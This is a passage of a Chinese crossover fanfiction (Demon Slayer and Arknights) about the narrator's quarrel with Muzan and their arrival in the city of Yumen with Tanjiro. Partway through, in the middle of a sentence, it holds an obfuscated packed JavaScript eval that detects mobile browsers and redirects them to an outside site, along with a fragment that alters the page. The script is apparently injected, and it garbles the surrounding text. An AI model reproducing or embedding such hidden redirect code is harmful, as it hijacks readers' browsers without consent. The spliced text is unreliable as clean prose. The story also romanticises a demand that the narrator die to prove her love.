“我猜答案是‘是’。你自以为两难的困境只不过是因为你只把自己当作一段作品故事的看客,你喜欢的是你想象中的我,对另一个我也是一样。”他说的话让我头皮发麻,即便他拉住我的手纹丝不动,但我仍能感到自己的手抖得厉害,“那时看见你犹豫,我忍不住开始想,倘若千年前的我在丢掉最初那个难听的名字时,换了心意,没有选‘鬼舞辻无惨’这个名字传递给那些转化成鬼的人;如果我没有做过那愚蠢的幻想故事中的事,也没有成为被你知道的那个‘角色’、那个‘无惨’,你一直宣称的喜欢还会存在吗?” 这种事情这也太超纲了! 完全是打破第四墙的问题,虽然最初遇到他时他就是穿越来的,但我根本没想过他会这么问我啊!我以为当时随口一说自己在《鬼灭之刃》中看过他时,他平淡的反应意味着他并不在意自己是他人笔下的虚构角色,可现在我才明白,他一直都对这点耿耿于怀,连同我对他表达的喜欢也一并被当作叶公好龙的吹嘘了吗…… “白夜,你整日挂在嘴边的喜欢不过是一种自我满足和自我感动,我建议你还是分清幻想和现实,也少拿那种眼神看我,我没说错什么吧,既然无法第一时间做出正确的选择,就说明你的喜欢也不过如此,没你嘴上说的那么纯粹。说到底,这和背叛我有什么区别?”他现在完全不笑了,脸上也看不出愠色,只是很平静地看着我,这反倒是我最无法应对的。 我从未在他身上萌生过“背叛”这个词,我原以为至少对方是他在另一个世界线的同位体,我没能二选一也是因为喜欢他,怎么说他也不至于用这般审判的口吻来和我复盘的。 我告诉他自己真的不是他说的那样,我说我只是很喜欢他,话说到一半却被打断。 “就这样打算躲在‘喜欢’的借口里,逃避因为你自己的软弱无能造成的困境,然后因为系统崩溃了,你还会庆幸自己有了个合理的理由不去面对问题。白夜,你只是自以为自己很喜欢我,但你做的这一切不都只是为了你自己吗?” “不是这样的!” “哪里不对吗?区区一个同位体,只是另一条世界线的‘我’,因为那种东西你就动摇了,你现在哪来的脸否定我的话?” 无惨的声音拔高几分,被我否认他质疑的反应点燃了怒火,他的指尖刺入我的手腕,双眼红得快滴出血来。我第一次,第一次在他面前完全释放情绪;我想过或许这可能会让他愤怒地将我撕碎,但我还是那么做了,我第一次抛开因喜欢产生的无条件全肯定,这般激烈地反驳他。 我将全身的力放在手臂上,用力甩开他拉住我的手,顾不上几乎要脱臼的手腕,歇斯底里地向他喊:“我就是因为喜欢你才做不出选择!我喜欢你我喜欢鬼舞辻无惨这件事无论怎么问都只有这一个答案,才没有骗你,也没有自我感动,就是因为喜欢无惨所以才选不出来的,我就是个普通人类我怎么知道不同世界线的同一人具体有什么区别,我这种脑子就是觉得你们两个都是一样的,我就是不想‘鬼舞辻无惨’死掉我有什么错!” 我有些答非所问地朝他喊了一堆,或许会是火上浇油,但我现在顾不上那些。面临二选一的局面我自己也很无措,没能直接拒绝另一个他确实是让他失望了,但话说回来我真的是因为很喜欢他才无法对那张同样的面孔和其下几乎一致的灵魂说“不”,他怎么说也该稍微夸我两句吧,怎么说也不能在这一点上质疑我吧? “是嘛,你要是真有那么喜欢我的话,如果我让你别管那些本来要死的家伙,别管那系统的任务了,你也能做到吗?”他意外地没有生气,只是挑眉反问我,“如果我当时让你先去杀了那些猎鬼人,你会怎么做?” “我……”我看着他,话卡在嘴边,最终说出来的时候又没了刚才情绪失控喊话的力气,“我不知道那样会不会有系统的惩罚……但如果你真的要那么做的话,如果你想的话,我都会答应的……” 荒漠上的风又一次吹过来,吹得我脸上凉凉的,我才意识自己从刚才开始,眼泪就抑制不住地从眼眶中涌出,在脸上划过数道泪痕。分明是吵架一般的行为,结果自己先忍不住掉了眼泪,真是丢人。 无惨没有理会我的情绪失控,接着说:“那我现在希望你马上去死,你要是想证明自己没有骗我的话,就去死吧。” “如果你真的很希望的话。”话说到这里,我反而又冷静下来一点了,抬手抹掉脸上半干的泪水,嘟囔着说,“如果你需要的话,我当然可以……但我们之前说好的,如果你哪天不想让我活了,就由你来动手,你答应过我的。” 好吧,如果最后的结局真的是在这里因为一次系统不做人的任务导致我和他吵架,最后他对我忍无可忍决定杀掉我,那也不算坏结局。至少他愿意给我时间让我和他吵这一下,而不是直接动手,这样想的话,我在他眼中大约还算有点不轻不重的分量。 随他吧,反正我要说的也说完了,现在系统崩溃卡死了也没人能管他,他想做什么都随便吧。 但他最后也什么都没做。 在荒漠上又一次刮起大风,吹起一片黄沙,刮得我方才淌过眼泪的面颊发疼。我低着头不敢看他的脸色,只听见颇有些无奈的叹息,还有轻轻的一声啧舌。 “别哭了,有什么好哭的,也没人会因为你苦着一张脸就可怜你。”话虽如此,他的语气还是放软了不少。 我揉揉自己干疼的脸,赌着气回他:“我吵不过你还不能掉眼泪吗……我就是想和你一起,你要是真的想出气就随你,如果你真的杀了我,那我就做鬼一直跟着你,然后一直看着你,永远永远地看着你……” 耳边传来无惨的嗤笑声,我闻声抬眸用怨念的眼神看他,他终于是看起来情绪没那么糟糕了,唇角勾起一个微小的弧度,说了句:“幼稚。” 我撇撇嘴不回答他,他便接着往下说:“我也没有和另一个自己共感的能力,你眼中与我相同的那个同位体,对我来说只是一种威胁,我可不允许世上存在另一个与我相同的生物。” “我知道……但我就是,很喜欢你,所以只要是你的事情就做不到完全理性。” “那就别纠结了,人类本来也就这样,要是当真能一直保持理性,也不至于有那么多愚蠢的家伙。”他重新走近我,脚踩在黄沙上发出沙沙的声音,将脚下的沙地踩实后站定,“抬起头来看着我,既然你自己无法做出正确的选择,那就按我说的去做。” 我仰头正视他的眼睛。那双猫儿般的细瞳理应是给人危险的感觉,但我每次看向那双眼睛的时候,总是觉得想掉进去再也不出来。真是一对漂亮的眼眸,我这么想着抿紧双唇,等待着他真正的要求。 “我也说过了,我还没有能和另一个自己共感,对我自己来说,那更不是‘我’,所以他和我就是不同的,别再想没有意义的问题了。如果你想证明自己的情感真的有你说的那样忠诚,那就记住我今天说的话,你的喜欢只需投射向我,投射给你面前的这个我,这就足够了。” 他这样说着,我的心跳不由自主加快,他低沉的声音化成字句,每一个发音都无比清晰。 “我欣赏你的忠诚,但别搞错你应该献上忠诚的对象,若是以后再遇到相似的情况,别再浪费时间犹豫。我不在乎你那些脆弱又微不足道的情感,但既然你宣称自己喜欢‘鬼舞辻无惨’,那就用你的脑子记住这个名字代表的对象只有我。” 我怔怔地点头,张口却不知道该说什么,脑子里回味着他这番话,突然鼻子一酸又要流下泪来。但是现在再哭也太奇怪了,会惹他烦躁,也会显得我真的泪点很低一样。我吸吸鼻子眨眼止住眼泪:“我会记住的,包括你今天问过我的问题,我都会重新思考。” 不是将他看作从书中来到现实的角色,而是一个真实存在的生命个体,我的确该好好想想这点;都已经和他一起度过那么久了,要说喜欢的话,果然还是更喜欢这个他一点。 看着鬼舞辻无惨终于露出的些许满意神色,我走了神,随后竟是下意识地脱口而出一句:“能喜欢上你,真的好幸运啊,无惨。” “哈,这么快就开始谄媚讨好了吗?你变脸的速度还真快。”他嘴上泼着冷水,面上却早已消了冷意,难得给了我一点笑脸,但又很快收回笑意正色道,“行了,你该看看我们在哪了,希望你的脑子没有一起报废。” 我挠挠头,退开一点开始查看周围的景象。确实是该做点正事了,和他掰扯一通花了不少时间,之前还在头顶上的日光已经向西边 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不,仔细想想他会出现在这里也是情理之中,在无限城的最后一秒就是他被两位无惨同时击中要害的场面,也正是导致系统崩溃的主因,所以他也随着崩溃破碎的世界一同来到了这里。可他归根结底是属于那个还未完结的《鬼灭之刃》,系统修复需要一定时间,那他也必须回到自己原本的位置上,否则那里的故事也无法进行下去。 可要怎么做呢?怎样才能把他送回去?现在系统是一点回音都没有,这个灶门炭治郎更不可能知道系统的存在,目前除了先带着他没有别的办法。 我赶在他提着剑鞘就要冲上来之前向前一步稍微挡在无惨身前,举起双手五指张开做出叫停的动作,迅速告诉他:“等一下,他不是你要找的那个无惨。” 不是,是……是吗? 我侧过头小声问无惨重生到了哪个时间点有没有去过灶门家,他反问我自己为什么要关心那些,我一时哽住后话不知道该怎样解释。眼前的少年只是因为我拦在中间而停下脚步,正有些不解地看着我,随后开口问我为什么要袒护身后的恶鬼。 “有点难解释,但是你先冷静一点,这里不是你熟悉的日本,有些意外情况。”脑内飞速挖掘最简洁的概述方式,边想边继续骂了句逆天系统,“如果你之前的记忆是看见两个鬼舞辻无惨的话,那就冷静下来听我说,我后面这个不是你要找的,你要找的应该还在无限城里没跟过来,但你不小心被卷入我们这边的……旅行,所以我们要把你送回去。” 哈哈瞧我都在说什么屁话呀。 好想申请场外援助。 “炭治郎,先放下剑鞘——那也伤不到无惨,有些事情我没办法告诉你具体原因,但我们会帮你回到你熟悉的地方,然后你可以去完成你本来要做的事情。”我试图用平缓的语气让他稍微放松些警惕,但大约是身后鬼王的气场太过张扬,灶门炭治郎仍是那副愤怒的模样。 他的嗓音中压着怒火,大口呼吸着和我说:“你可能被他骗了,这位小姐,我不知道鬼舞辻无惨跟你说过什么,但他是杀人无数的恶鬼,也随时都会对你下手。” “这我知道,炭治郎,但是我说了现在的首要任务是让你回到你该去的地方。” 我知道他是个善良温柔的好孩子,但我当然也不能允许自己喜欢的人被他人指责,说白了在那种热血少年漫非黑即白的价值取向里,这般单纯的人大约也理解不了读者对反派的喜爱。他会在这里确实也是我的责任,归根结底也是我面对那里的<鬼舞辻无惨>产生的犹豫导致灶门炭治郎闯入战斗,而他又被两个鬼王同时攻击;甚至不如说,他还能活着站在这里,也是不幸中的万幸,系统卡死之前最后留下了一次补救机会,只要把主角送回去,那个世界还可以维持正常的运转。 “‘炭治郎’——你和他很熟吗?喊得倒是挺亲近。”鬼舞辻无惨冷不防在我耳边悄声问了句,双手搭在我肩上让完全沉浸在思考中的我吓得耸了耸肩。 好嘛,对面的灶门炭治郎看见这幅场景似乎更加坚定了某种印象。 “不是,我没……哎呀!这样,灶门你不相信他你还不相信我吗?你稍微闻一下就知道我没说谎,然后你先别管无惨了,稍微给我点时间我观察一下这个地方是哪里,然后我再慢慢和你解释行吗?”然而在我焦头烂额地尝试和我们的少年漫主角解释的时候,无惨冰凉的手掌贴上我的下巴,五指在双颊两侧摩挲着。 我很快就听见身后人挑衅般说:“灶门炭治郎,如果我现在动手取走她的性命,你根本来不及救她,还不如省点力气想想自己该做什么。” “你这个该死的混蛋,有本事别拿他人的生命做要挟。” 不是哥们你干嘛!这个鬼舞辻无惨他到底为什么还在拱火啊! 算了吧,干脆大家都别玩了世界毁灭去吧,反正系统都这样了。 “不是那样……其实他没做什么,我们关系还挺好的,呃就是他真没对我怎么样你别听他瞎说……信我好吗?”好像我盯着先前流过泪还有些发红的眼睛跟正在气头上的灶门炭治郎说这些太苍白了,看着他对我投来的那种哀其不幸怒其不争的目光,我感到一丝疲惫。 最后我崩溃地拉开鬼舞辻无惨的手把他另一边还搭在我肩上的手也推下去:“你不要再拱火了!实在想拿我找乐子我之后给你多整几个乐子出来,现在至少在太阳下山之前找到能住的地方吧,沙漠到了半夜会冻死我的啊!” 他也不气我推开他,摊手表示自己也没做什么过分的事,而后不再看这边。 “然后灶门你把剑鞘收回去,这里的太阳都烧不到无惨你指望那剑鞘能干啥?先别急着生气了,我没有被无惨骗我也没有骗你,他要是站在这都让你生气的话你就先转过去别看他,给我几分钟其他的我之后再解释。” 说完整段话我长出一口气。终于感到了片刻宁静和舒适,真希望下一秒眨眨眼能发现刚才的那些都是幻觉啊。 但虽说我告诉他们自己需要再观察一下才能确定目前我们所处的世界,其实我也早就隐约有了答案。太阳起不到作用的世界可不多,其中我熟悉的作品就更少了,所以不出意外,这里又是泰拉。 只是戈壁沙漠这样的环境,实在是有些棘手,周围的沙地没有载具留下的车辙,更没有什么驮兽的脚印,说明这片地方一般是无人经过的,可能不在移动城邦的路线上,这就很难办,确定不了任何方位…… 正想着,我听见远处传来的阵阵鼓声。 很远的地方,正有个城邦的影子,城邦上空还飘着旌旗,在辽阔的沙漠中孤独地矗立着。 “我知道了。”我看着城邦的方向喃喃道,转头看向无惨时话中抑制不住兴奋,“我知道我们在哪里了,而且之后的情节我也记得,记得很清楚。” 因为这是我很喜欢的一段故事,那座城也是我很喜欢的一座城。 “我们在大炎,往那个城邦走吧,那里就是玉门。” 鬼舞辻无惨>无惨>鬼舞辻无惨> 34. 第 34 章 “玉门是大炎的边关重地,不过近几年战事平息后,旅游业也开始发展起来。”我一脚深一脚浅地踩在黄沙上,向远处飘着烽火的城邦走,路上和鬼舞辻无惨讲了些大炎城市的信息,“既然我们来了这里,那剧情任务就很清楚了——《登临意》。” 我向后望了眼,灶门炭治郎保持匀速跟在我身后。 他确实很快察觉到周围环境的变化,尤其是泰拉自然环境中日光的异常让他不得不冷静下来,在听我简略讲了有关快穿系统的事之后,也算是暂时将对无惨的杀意搁置,跟着我们一同赶路。为了照顾第一次来到泰拉的他,我把大炎的相关内容讲得详细了些。 此刻我倒是庆幸系统崩溃后给我们投放的剧情节点不是《明日方舟》主线剧情中维多利亚战乱最危险的地方,这《登临意》又是一个什么都不做也能顺利通过的故事,一定要说的话,剧情里也有点小小的缺憾,是我个人想填补的。 “对了,”我终于走到一块相对硬实的地方,歇了口气问无惨,“你还记得上一次在卡西米尔,是什么时间吗?我指的是泰拉当地的时间。” 他面露疑惑,说:“按你的描述,卡西米尔和炎国是两个不同的国家,跟时间有什么关系?” “那个时候是1097年,而现在的剧情,不出意外是1102年。”玉门城上空的旌旗飞扬,往城邦走去,手机便开始能收到断断续续的城际网络信号。尽管剧情时间已经过去了将近五年,但这部在卡西米尔购买的手机跟着我并没有离开泰拉多久,我也是抱着试试的心态拿出来打开,才惊喜地发现还有一半电量。 我又看了一眼身后的灶门炭治郎,确认他没有掉队也没有被野外的源石化生物袭击,他似乎在努力消化着信息,但很多用词对他来说还是太超前了。 我在抬脚继续走之前放大手机镜头对着远处的玉门拍了张照。 “五年的时间里,泰拉人发现了更多这片大地的秘密,海洋、天空、冰原,他们对这些地方都有了更多的探索和认识,也意识到自己面对着超乎想象的威胁。我们这次去玉门要走的剧情就是有关巨兽的威胁,不过这次剧情整体还算好处理,不是什么特别险峻的环境。” 大炎人曾经与巨兽打过仗。 在那个大地仍是祂们的领地时,大炎成为了第一个向祂们宣战的国度。巨兽们并不屑于这群渺小的蝼蚁,但祂们中却有一位对人类的勇气起了兴趣,于是祂说,我可以帮助你们。 祂的名字叫岁。 大炎人得到了岁的助力,成为了与巨兽对弈的棋手,而岁所不知道的是,在大炎人拿起棋子的那一刻,便也将祂一同算在了棋盘之内。 在巨兽的乐土之上,大炎人为自己开辟出了安定的家园,又将岁也一并打倒。岁的意识化为十二个碎片,散落在大炎各地;但随着年岁过去,祂的意识开始渐渐苏醒,人与巨兽又一次走到战争的边沿。 “玉门,正是为了应对这种情况而存在的城邦。这段剧情之后,玉门会一路直上京城,疏散完所有的民众,回归它原本的职责——成为大炎的盾,必要时与岁玉石俱焚。”玉门城越来越近,此时正值望烽节,阵阵鼓声从城内传出,已经变得清晰。我慢慢地把岁兽与大炎的故事讲与身边人,拍了拍被风吹到衣袖上的细沙。 鬼舞辻无惨轻笑一声:“倒是好一个悲壮感人的故事。” “我个人可是很喜欢这段故事呢,羸弱的人类依靠自己的力量,狩猎神明,听着多刺激。”我白了他一眼,不过本来也没指望他会理解,毕竟他是不可能站在人类立场去思考事情的,“总之,那都是前情提要,这段故事主要讲的就是城里有一群人反而信仰巨兽,正好有一个巨兽想在城中找人,所以他们合作给玉门找了点麻烦。” 说是一点麻烦,实际上这麻烦可是个破坏力极强的沙尘暴型天灾,玉门要赶去与岁决战无法拆分城区,正面硬接天灾后几乎导致城东区域受损严重,不过好在民众迁移及时,没有造成人员伤亡,所以城内还是安全的。不能一直留在城外的另一个原因也在此,我们到底是不可能在野外挺过整个天灾,必须留在城内。 身后的脚步声有些重,我再次回头看向沉着脸的灶门炭治郎,他看上去有什么话想问我,但还是没说出来。我看了眼即将走到的玉门城城门,打开目前唯一还能用的道具储备栏,拿出两瓶药水。 还好上次在卡西米尔我嫌每天买药水太麻烦,直接囤了好几瓶,现在道具商城打不开,这些囤的药水还能顶一段时间。 “灶门,待会要进城,把这个喝了。”我抛给他一瓶盲盒药水,“我前面说过,这里的人都有一部分动物特征,玉门是边关军事重地,不能轻易引起官兵注意。” 他拧开瓶盖闻了闻其中药水,但这药水本就无味,他也露出了困惑的神色,犹疑着不知是否要喝下。我见状便先行把自己手上的喝了,给他看自己头顶正逐渐冒出的兽耳,晃晃头示意他不用担心。 这时头顶覆上一只手,在新长出的兽耳根部揉搓一圈。我下意识眯起双眼深吸一口气,头顶的耳朵也顺势外翻下垂,自心底生出一种满足感,身后的尾巴也左右来回晃了好几下。今天盲盒药水喝出来的好像是菲林,不知道具体是哪一种类,但毕竟是猫科动物,拟态成泰拉人的样子果然还是会多出一些接近动物的习性。 等等! “你……” 我睁大眼睛便看见灶门炭治郎咬着牙瞪向我这边,不过目光并非落在我身上,而是我身旁的鬼舞辻无惨,也正是后者正站在我身边抚摸着我头顶的菲林耳朵。灶门炭治郎大概是误会了什么,又没有误会什么,可以确信的是他对泰拉人还没那么了解,而无惨大约是真的想气一气这个仇敌,做出了好几次挑衅的行为。 “那个,干什么这是,嗯力气可以再重一点……不对!无惨你干什么!”差点就又要在对方撸猫的动作里迷失自我了,现在哪是沉迷这个的时候啊! 我尴尬地干笑两声让灶门炭治郎快些把药水喝了,他一口闷下药水紧闭双眼了许久,有些难堪地等待着头顶的兔耳朵长出来。随后我拿着另一瓶药水问无惨是否也需要一瓶。 “哦,现在这个时间点萨卡兹的问题已经解决了大半,你继续装作血魔也没有任何问题,甚至应该会比上次还轻松。” 理所当然地,他再次拒绝了药水提议,我也正好节约一瓶。 之前我在卡西米尔的罗德岛医疗部顺便办了临时证件,虽然对泰拉而言已经时隔五年,但好歹还在有效期内。当前玉门临近天灾爆发,出城调查的天灾信使又失去音讯,入城的检查比往日更严格,我和无惨的两张临时证件倒是帮了大忙。至于今天才刚来到泰拉的灶门炭治郎,我只能装作无奈对巡防营官兵说是我们弄丢了一人的证件。 然而灶门炭治郎并不会说中文,也就是炎国话,沟通上又出了些问题,一时间竟僵在城门。就在城门的官军紧盯住我们的目光越发怀疑时,不远处又传来短兵相接的嘈杂声音。 一伙头戴兜帽、个个面前覆有兽骨面具的人将几名巡防营士兵和一名札拉克女性团团围住,那名札拉克女性的一席黑紫相见的衣服十分惹眼,再加上她不慌不忙将脚下细沙凝聚成剔透的琉璃剑,我十分确信她就是剧情的主要人物之一——林雨霞。 场面就很简单了,现在正是《登临意》的剧情开头,林雨霞出城调查失去音讯的天灾信使队伍,找到了遗落的天灾数据,回城后便遇到了信仰巨兽的山海众教徒袭击。正巧我们也在这时赶到玉门,算算日子,在事情走向高潮前可以稍微放松些,就当是过几天休假了。 我来不及跟无惨和灶门炭治郎打招呼,先行一步跃上前,抽刀砍向围攻林雨霞的山海众教徒,而有一个飞影比我更快,抢在我之前重重落在了正欲上前的教徒脚边。那竟是一柄铁锤,经过岁月的磨砺,锤面有不少磨损的痕迹,但仍然坚固万分,硬生生砸碎了路面的石板。 铁锤的主人也迅速上前,拎起自己的重锤便继续向山海众教徒攻去,那人满脸都是岁月与风沙留下的痕迹,脸型方正坚毅,身形健硕,一看就是个打铁营生的。我知道他,他是城南铸剑坊的刀匠孟铁衣,也是剧情的关键人物。他在与我擦肩而过时看了我一眼,点点头,满眼都是赏识和认可,我调转方向踢飞身后的一名教徒,短暂的战斗过后,自知落入下风的教徒收拢队形,将一些圆珠丢在地上,烟尘四起,待迷烟散去,那些凶徒已没了影子。 “这些人也太猖狂了,居然在城内光明正大袭击官军。”孟铁衣带着从尚蜀来玉门自立门户开物流公司的杜遥夜,此刻她检查完几名受伤玉门士兵的情况后走上前来。 老刀匠放下铁锤,问林雨霞是否有受伤,后者摇头说仅凭那群人还伤不到她,刀匠随后又转向我问道:“姑娘看着也是外地打扮,但居然也有玉门人的侠义肝胆,有心了。” 我摆摆手微笑一下,指了指旁边的林雨霞:“我算是认识她,见她被人袭击,就来帮个忙。” 林雨霞狐疑的目光落在我身上,我赶忙将自己的临时证件递给她看。 “林小姐可能不认识我,我也只是从前在龙门对您有所耳闻,龙门与罗德岛也有不少合作,所以在外帮衬一下也是应该的。”那张证件上恰好有罗德岛的商业标识,这会更是帮了大忙,林雨霞在看见标识的时候便了然点头。尽管她大概还不会完全信任我,但我主动出手以便和剧情人物搭上线的目的也算达成了。 有林雨霞的特使身份和孟铁衣这位德高望重的老刀匠的人情作保,在我和他们说了“我有一位朋友证件丢失在城外,现在入城有些困难”后,这个问题也不再是问题。我们终于进了玉门城,而他们三人也有各自的事情要办,便在城门口又道了别。 临走前,我靠近林雨霞悄声对她说了句:“实不相瞒林小姐,我与友人来玉门也是为了追查一伙名为山海众的贼人,刚才袭击您的那群人似乎也是他们的人,林小姐多加小心。” 她目光一凛,瞥向我不动声色地点头,我挥挥手向她告别。 灶门炭治郎看刚才的战斗看得有些一愣一愣的,此刻终于回过神来,大概是城内人的气息变浓,他的精神状态也终于没那么紧绷。但他开口问我的第一个问题居然是:这里的人都经常战斗吗? “其实我很好奇你在玉门城内闻到的是什么气味……不过玉门本就尚武,城中还有比武的擂台,这里的人应该可以说大部分都确实会点拳脚功夫吧。”我回头看了眼骚乱平息的城门口,继续说,“哦,刚才那几人确实也是比较特别的佼佼者了,他们的实力大约有你印象中的柱那么强吧。”当然,是我瞎猜的。这种赛博斗蛐蛐般的对比在缺少实际数据的情况下实在难以判断,我只是根据自己的直觉认为,会用法术的泰拉人还是比普通人类强。 “气味的话,空气中有很多泥土的味道,还有酒香,每个人的情绪都很高涨,这个地方也给我一种充满热情的感觉。”他闭上眼轻嗅两下,评价着。 我听了他的话不由自主弯起唇角,我确实喜欢他的评价,玉门这个城邦在我玩游戏过剧情的时候就很有好感,亲身走在玉门的路上,尤其是去过那么多异世界,现在又走在这个不用说都知道现实原型的大炎的土地上,我心中自然是生出许多亲切。 说到酒香,我可是记得玉门本地有特色的烈刀子酒,要是有机会的话,我也想尝尝呢。 “那个,白夜小姐。”灶门炭治郎有些迟疑地又喊了我一次,得到我确定的眼神后,他问出了一个问题,“这个世界没有鬼,我记得你之前说过……果然,一个没有鬼的世界,大家都能过上幸福的生活,对吗?”他明显还有些话没有说出来,我并非不能理解他突然问我这个问题的原因,而答案当然是否定的,更明显的是,他没说出来的后半段话,也是对自己猜想的质疑。 天色已然暗下来,夕阳西下,晦暗分明的两个月亮一点点升起。我对着月亮抬了抬下巴示意他看看这个地球上看不见的奇景,反问他:“没有鬼的世界,一定会很好吗?” “我不知道……这里的空气中偶尔也有一些让人不安的气味,我不知道那是什么,有些人身上也有那种气味,像是生病了一样……” 他描述的应该就是矿石病,说起来他这般看着我,是因为在我身上也能闻到矿石病的气味吗?哦,我也确实还没有和他细说过矿石病与天灾的事,即便是现实世界,也并不会因为没有鬼就变得和平,更何况是这个人类时刻面临灭顶之灾的世界? 我正欲开口告诉他泰拉面临着带来无数痛苦的问题,鬼舞辻无惨直接将我拉过去些,打断了这场对话。“问题真多,你难道真的觉得世上没有鬼就能万世太平?鬼杀队也都是和你一样天真的蠢货。”灶门炭治郎见他突然开口嘲讽,一直压着的火药桶几乎是瞬间又要引爆,而他又冷笑道,“你现在能做到什么?连刀都丢了的臭小鬼,不惹麻烦也是拖油瓶,给我闭上嘴安分点。” “哎呀你别老是攻击性那么强嘛。”我站在两人中间,把无惨往前推着走了两步——好像其实并没有怎么推动他——随后转头对灶门炭治郎招招手,“还是先走吧,天色不早了,得抓紧时间找个住的地方,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679166|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的玉门人可多了呢。” 至于他想问我的诸多问题,我告诉他,并不用急着现在得到答案。我们的玉门之行还有很多天,这几天也会让他看见更多泰拉这个奇异世界的表象下埋藏的苦难与危机,或许到那时,他自己就知道如何回答心中的疑问了。 所以…… “掌柜的,真的没有多的房间了吗?”客栈的掌柜无奈地对我笑笑,我也对他笑笑,看这样子,答案应该也很明显了,“好吧,两间就两间,麻烦您了。” 故事开始之前,玉门正与龙门对接进行物资补给,正是由于一场突发的天灾,两座城邦不得不紧急拆分,这就导致了不少游客、商人都滞留玉门,城内的客栈几乎都满房了,能找到这样一间还有空房的客栈已是幸事。 这道理我也懂啊,但我宁愿是只有一间房呢。虽然气氛紧张点,但总得来说也就跟赶路时差不多,因为另外两人的关系剑拔弩张,所以我也不太讲话,安静点也就安静点了,可现在两间房怎么分啊?总不能真的让他俩待在一间屋子里。 我走回客栈大堂内的桌边,店小二已经上好了方才点的菜。灶门炭治郎和鬼舞辻无惨完全是坐在对角线上,见我回来才点点头垂眸拿起一块馍饼。 “没事的,灶门,你可以放松一点,玉门城内很安全,我个人也想麻烦你——至少是这几天,稍微相信一下无惨。”我给他倒了一杯茶推过去,又象征性地也倒了一杯茶摆在无惨面前。桌上摆着一碟酒,是我一时兴起要的二两烈刀子。 少年到底是肚子饿了,有些不好意思地抓抓脸颊,在人多的环境里放松下来,浅浅微笑一下对我道谢:“白夜小姐,真的很感谢你的照顾,我会努力不给你添麻烦的。” “唔,没事,你比他好,他见我的第一面差点掐死我。”喧闹的客栈环境着实让人心情舒畅,赶了一天路终于休息下来,我也有了点心情开起玩笑来。或许这样的打趣对两人都不算笑话,结果就是又一次冷场了。 我有些自讨没趣地喝了口酒浆。玉门是边关城市,当地的酒自然也有这座城的风味,入喉的瞬间便感到咽喉和食管内火烧般的感觉,舌尖尝到的是粮食发酵后的甜,却在舌根晕开一丝微涩的口感;与口中酒液的味道一同反馈给大脑的是扑鼻而来的酒香,虽没有那种醇香回味的感觉,但实在是让人心情大好。 我把客房的事告诉了他们,顺便直接决定好了房间分配的方式:灶门炭治郎住一间房间,我会把我在泰拉买的那部手机给他,有事可以直接联系;另一间房间就让我胆大包天地直接决定,不管鬼舞辻无惨是否同意,反正他不同意也没有别的选择了。 他出乎意料地没什么反对意见,灶门炭治郎虽然理解我是打算给他留些个人空间,但还是担忧地看了看我,最后什么都没说。 “好啦,早点休息吧,明天没什么大事,倒是可以去铸剑坊先帮你找把趁手的刀。” 我将碗中的烈刀子一饮而尽,抬手轻拍了一下他的肩膀让他别给自己太大压力。 这仅剩的客房中竟是只有一张大床,鬼舞辻无惨进门后便站在门口看着门后作为旅游宣传张贴的《宗师事迹》,于是我径直走向床边扑在床上。柔软的床垫缓解了我大半的疲惫,我埋头在床垫中过了许久,像是终于充上电一般,最后翻身仰躺在床上看向已经坐在旁边椅子上的无惨。 我最终问出了从刚才就想问他的那句大逆不道的话:“如果你晚上不睡觉的话,是不是我可以独享这张床?” 他没有正面回答我的问题,只是丢给我一句“你心还挺大的”。 “我之前不是说了嘛,跟你一起的话别的事情都没什么所谓的,话说回来只要你不在意跟我一间房的话,我也没什么好纠结的吧。” “我是说,你对那小子还挺有耐心。”他轻轻啧舌,皱眉继续说,“虽然他好像不太领情,估计他到最后也只会把你当作反常的人类,但你对他倒是不错。” 他居然在想这个问题?我没忍住直接调侃上去:“你吃醋了?” “你在犯什么病?” “抱歉,可能是喝酒了,你当我是醉鬼吧。”我尝试拒不认错,但他立马又回过来一句我分明清醒得很,让我别装糊涂。 到最后,我认命地坐起身。无惨所坐的椅子离我不近不远,这个微妙的距离下我方才因为喝酒而有一点轻微泛红的脸此刻又有些发烫。 “我是觉得自己跟他也没什么特别大的矛盾,而且我自己也没那么讨厌他们。”我对着手指声音渐小下去,意识到自己似乎也没必要那么心虚后又重新拔高了音量,“其实我就是对他们都无所谓啦,因为我感觉除了你之外别人都不是很重要,所以对他们也没什么特别的评价。” 都不小心把人家从原来的作品世界拖过来了,稍微善待一下最后安安稳稳送回去比什么都重要,所以我希望灶门炭治郎尽可能不要缺胳膊少腿——呃这么说似乎有些太严重了,总之我是希望他能不要太紧绷,也算是对我之前的犹豫导致他被两个鬼舞辻无惨同时攻击这事的一点歉意。 当然我也没有跟无惨说假话,我确实没那么在意鬼杀队的人。因为我喜欢的也不是他们,所以对他们除了年少不经事时读作品感受到的一些热血之外,现在我在他们身上找不到任何一种与我看向无惨时感受到的相同的情绪。同时我也不像无惨那样痛恨他们,仔细想想,就没有任何冲突的必要。 “我只会对最喜欢的人投入所有情绪啦。” 他冷哼一声,嗓音中带着些笑意:“真是一副谄媚的样子。” 好嘛,我承认我就是私心也想和他有点独处的时间所以才直接决定房间的分配方法的嘛。 因为一路上都有灶门炭治郎在旁边,为了不让他的情绪再产生什么压力,平时偶尔喜欢对无惨犯贱说的话我都没好意思说。 我突然看见窗外两起的灯火。玉门的万家灯火与大骑士领的霓虹夜灯大为不同,尽管前者也有商业街区,但果然,这里的灯光比大骑士领要温和很多。 时间走向晚上九点,我却毫无困意。必须承认的是,现代人本就习惯夜猫子生活,遇见鬼舞辻无惨之后,我更是睡得一天比一天晚,有几次更是几乎要通宵,所以现在确实完全,没有一点倦意。 我从床上跃下来,突然决定了下一件要做的事,并且不征求无惨的意见。 “玉门虽是边关城市,却也有自己的商业区块,包括各类店铺。”我双手抱胸对仍然坐在椅子上不为所动的无惨说,在他看向我时候说出了自己的正题。 “陪我出去转转吧?” 35. 第 35 章 我成功把无惨拉出去逛街了。 其实我以为他不会答应的,但他坐在椅子上略加思索后点了点头,随后问我去哪。 “去集市。”我告诉他。 